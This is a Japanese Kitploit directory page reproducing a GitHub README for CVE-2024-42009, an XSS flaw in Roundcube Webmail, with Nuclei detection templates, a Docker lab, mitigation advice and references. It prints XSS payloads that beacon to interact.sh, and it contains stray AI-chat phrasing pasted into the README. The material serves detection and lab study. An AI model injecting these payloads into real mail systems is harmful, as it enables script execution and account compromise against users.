Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/shubhankargupta691/cve-2024-42009
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubshubhankargupta691/cve-2024-42009

CVE-2024-42009

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-42009 – Roundcube Webmail における反射型XSS

📌 概要

このリポジトリには、Roundcube Webmail の重大な反射型XSS脆弱性である CVE-2024-42009 を安全に実証・検証するための Nuclei テンプレート と補助リソースが含まれています。この欠陥は show.php の message_body() 関数に存在し、サニタイズ後の変更によりサニタイズが無効化され、細工された HTML メールコンテンツが安全でない方法でレンダリングされます。

⚠️ この PoC は 教育および許可されたテスト のみを目的としています。所有していないシステムや、明示的なテスト許可がないシステムに対して使用しないでください。


🧠 脆弱性の概要

  • CVE ID: CVE-2024-42009
  • 深刻度: 重大 (CVSS 9.8)
  • 影響を受けるバージョン: Roundcube ≤ 1.6.7 および ≤ 1.5.7
  • パッチ適用済みバージョン: 1.6.8 および 1.5.8
  • コンポーネント: show.php の message_body()
  • 影響: ユーザーが悪意のあるメールを表示すると任意の JavaScript が実行される

🧪 検出戦略 (ラボ専用)

このリポジトリは、管理されたラボで JavaScript の実行を確認するために、Interactsh による Out-of-Band (OOB) 検出を使用しています。

主な手順:

  1. 脆弱な Roundcube インスタンスをデプロイする (例: Docker 経由)
  2. <body> タグに onanimationstart と Interactsh へのビーコンを含む細工したメールを送信する
  3. Roundcube UI でメールを開く
  4. Interactsh ドメインへの DNS/HTTP コールバックを確認する

🐳 ラボのセットアップ

提供されている Docker Compose ファイルを使用して、MailHog (SMTP シンク) と MariaDB を備えたローカル Roundcube インスタンスを起動します。

root@kitploit:~
git clone https://github.com/Shubhankargupta691/CVE-2024-42009.git
cd CVE-2024-42009
docker compose up -d
  • Roundcube UI: http://localhost:8080
  • MailHog UI: http://localhost:8025
  • ログイン方法: Google アカウント

⚠️ 自身の Google アカウントを使用しないでください。


📁 リポジトリの内容

  • CVE-2024-42009-OOB.yaml – Interactsh および Out-of-Band (OOB) 検出を使用した Nuclei テンプレート
  • CVE-2024-42009.yaml – Interactsh と OOB を使用しない Nuclei テンプレート
  • docker-compose.yml – Roundcube Webmail 用のラボ環境セットアップ
  • Images/ – Interactsh からの HTTP/DNS ヒットを示すスクリーンショット

🎥 ビデオデモ

このビデオでは、エクスプロイトの一連の流れ全体を説明しています:

  • ペイロードの作成
  • メールまたはエンドポイントを介した送信
  • 脆弱性のトリガー
  • Interactsh によるビーコンの確認

(ビデオデモ)


それらの XSS ペイロードを README に責任を持って含めるには、教育またはテスト目的 と明確にラベル付けされたセクションに配置することをお勧めします。以下は推奨構造です:


🧪 XSS ペイロードの例 (テスト目的のみ)

⚠️ 免責事項: これらのペイロードは、教育目的および許可されたセキュリティテストのみを目的としています。明示的な許可なくシステムにデプロイしないでください。

root@kitploit:~
<!-- Image tag with onerror -->
<img src="https://interact.sh/xss-test" onerror="fetch('https://interact.sh/hit')">

<!-- Broken image source with onerror -->
<img src="https://raw.githubusercontent.com/shubhankargupta691/cve-2024-42009/HEAD/x" onerror="fetch('https://interact.sh/hit')">

<!-- SVG with onload -->
<svg onload="fetch('https://interact.sh/hit')"></svg>

<!-- Script tag -->
<script>fetch('https://interact.sh/hit')</script>

<!-- JavaScript in iframe src -->

🧭 使用方法

  • https://interact.sh/hit を独自のリスナーエンドポイントに置き換えてください。
  • ローカルラボや CTF プラットフォームなどの管理された環境で使用してください。
  • 実行を検証するために、エンドポイントへの着信リクエストを監視してください。

🛡️ 緩和策

Roundcube を以下のバージョンにアップグレードしてください:

  • 1.6.8 または 1.5.8
    これらのバージョンは、脆弱な後処理ロジックを削除し、より厳格なサニタイズと CSP ヘッダーを適用します。

📜 参考情報

完璧です。CVE-2024-42009 の README またはメール提出に含めることができる、クリーンでプロフェッショナルな 参考情報 セクションを以下に示します。リストアップされたすべてのソースを引用し、明確さと信頼性のためにフォーマットされています:


📚 参考リンク

  • NVD CVE エントリ – CVE-2024-42009 – CVSS スコアと影響を受けるバージョンを含む公式の脆弱性リスト
  • SonarSource ブログ – 政府メールが危険にさらされる – 詳細な技術分析とエクスプロイトの内訳
  • DaniTheHack3r による GitHub PoC – メールリスナーとアニメーション起動ペイロードを備えた Python ベースのエクスプロイト
  • Bhanunamikaze による GitHub PoC – HTTP リスナーを介した自動ペイロード注入とデータ外部送信
  • 0xbassiouny1337 による GitHub PoC – リアルタイムのメールキャプチャとデコードを備えた格納型 XSS エクスプロイト

ツールをダウンロード